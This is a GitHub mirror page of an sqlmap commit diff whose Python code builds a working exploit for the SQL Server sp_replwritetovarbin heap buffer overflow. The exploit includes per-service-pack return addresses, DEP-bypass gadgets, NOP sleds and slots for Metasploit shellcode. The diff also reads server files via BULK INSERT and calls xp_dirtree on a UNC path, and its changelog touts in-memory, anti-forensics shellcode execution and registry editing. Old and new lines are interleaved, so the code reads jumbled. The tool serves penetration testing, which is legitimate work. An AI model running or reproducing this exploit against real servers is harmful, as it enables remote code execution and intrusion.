mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
This commit is contained in:
Bernardo Damele
@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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import binascii
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import os
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import time
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@@ -257,7 +258,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
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self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
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inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
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versions = {
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@@ -417,12 +418,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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txtTbl = self.fileTblName
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hexTbl = "%shex" % self.fileTblName
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self.createSupportTbl(txtTbl, self.tblField, "text")
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inject.goStacked("DROP TABLE %s" % hexTbl)
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inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
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self.createSupportTbl(txtTbl, self.tblField, "text")
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inject.goStacked("DROP TABLE %s" % hexTbl)
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inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
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logger.debug("loading the content of file '%s' into support table" % rFile)
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
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# Reference: http://support.microsoft.com/kb/104829
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binToHexQuery = """
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@@ -593,22 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
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def overflowBypassDEP(self):
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self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
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if self.bypassDEP == False:
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return
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else:
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warnMsg = "sqlmap tried to add the expection for "
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warnMsg += "'sqlservr.exe' within the registry, but will not "
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warnMsg += "restart the MSSQLSERVER process to avoid denial "
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warnMsg += "of service. The buffer overflow trigger could not "
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warnMsg += "work, however sqlmap will give it a try. Soon "
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warnMsg += "it will come a new MS09-004 exploit to "
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warnMsg += "automatically bypass DEP."
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logger.warn(warnMsg)
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def spHeapOverflow(self):
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"""
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References:
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@@ -617,83 +602,109 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
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"""
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returns = {
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"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
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"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
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}
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retAddr = None
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# 2003 Service Pack 0
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"2003-0": ( "" ),
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for version, data in returns.items():
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sp = data[0]
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address = data[1]
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# 2003 Service Pack 1
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"2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
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# 2003 Service Pack 2 updated at 12/2008
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"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
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# 2003 Service Pack 2 updated at 09/2009
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#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
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}
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addrs = None
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for versionSp, data in returns.items():
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version, sp = versionSp.split("-")
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sp = int(sp)
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if kb.osVersion == version and kb.osSP == sp:
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retAddr = address
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addrs = data
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break
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if retAddr == None:
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if addrs is None:
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errMsg = "sqlmap can not exploit the stored procedure buffer "
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errMsg += "overflow because it does not have a valid return "
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errMsg += "code for the underlying operating system (Windows "
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errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
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errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
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raise sqlmapUnsupportedFeatureException, errMsg
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shellcodeChar = ""
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hexStr = binascii.hexlify(self.shellcodeString[:-1])
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for hexPair in range(0, len(hexStr), 2):
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shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
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shellcodeChar = shellcodeChar[:-1]
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self.spExploit = """
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DECLARE @buf NVARCHAR(4000),
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@val NVARCHAR(4),
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@counter INT
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SET @buf = '
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declare @retcode int,
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@end_offset int,
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@vb_buffer varbinary,
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@vb_bufferlen int
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exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
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DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
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EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
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SET @val = CHAR(0x41)
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SET @counter = 0
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WHILE @counter < 3320
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BEGIN
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SET @counter = @counter + 1
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IF @counter = 411
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BEGIN
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/* Return address */
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SET @buf = @buf + %s
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SET @counter = @counter + 1
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IF @counter = 411
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BEGIN
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/* pointer to call [ecx+8] */
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SET @buf = @buf + %s
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/* Nopsled */
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
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CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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/* push ebp, pop esp, ret 4 */
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SET @buf = @buf + %s
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/* Metasploit shellcode stage 1 */
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SET @buf = @buf + %s
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/* push ecx, pop esp, pop ebp, retn 8 */
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SET @buf = @buf + %s
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/* Unroll the stack and return */
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
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CHAR(0xc3)
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/* Garbage */
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SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
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SET @counter = @counter + 302
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SET @val = CHAR(0x43)
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CONTINUE
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END
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SET @buf = @buf + @val
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/* retn 1c */
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SET @buf = @buf + %s
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/* retn 1c */
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SET @buf = @buf + %s
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/* anti DEP */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
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set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
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set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
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/* Metasploit shellcode */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
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SET @counter = @counter + 302
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SET @val = CHAR(0x43)
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CONTINUE
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END
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SET @buf = @buf + @val
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END
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SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
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EXEC master..sp_executesql @buf
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""" % (retAddr, self.shellcodeChar)
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""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
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self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
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self.spExploit = urlencode(self.spExploit, convall=True)
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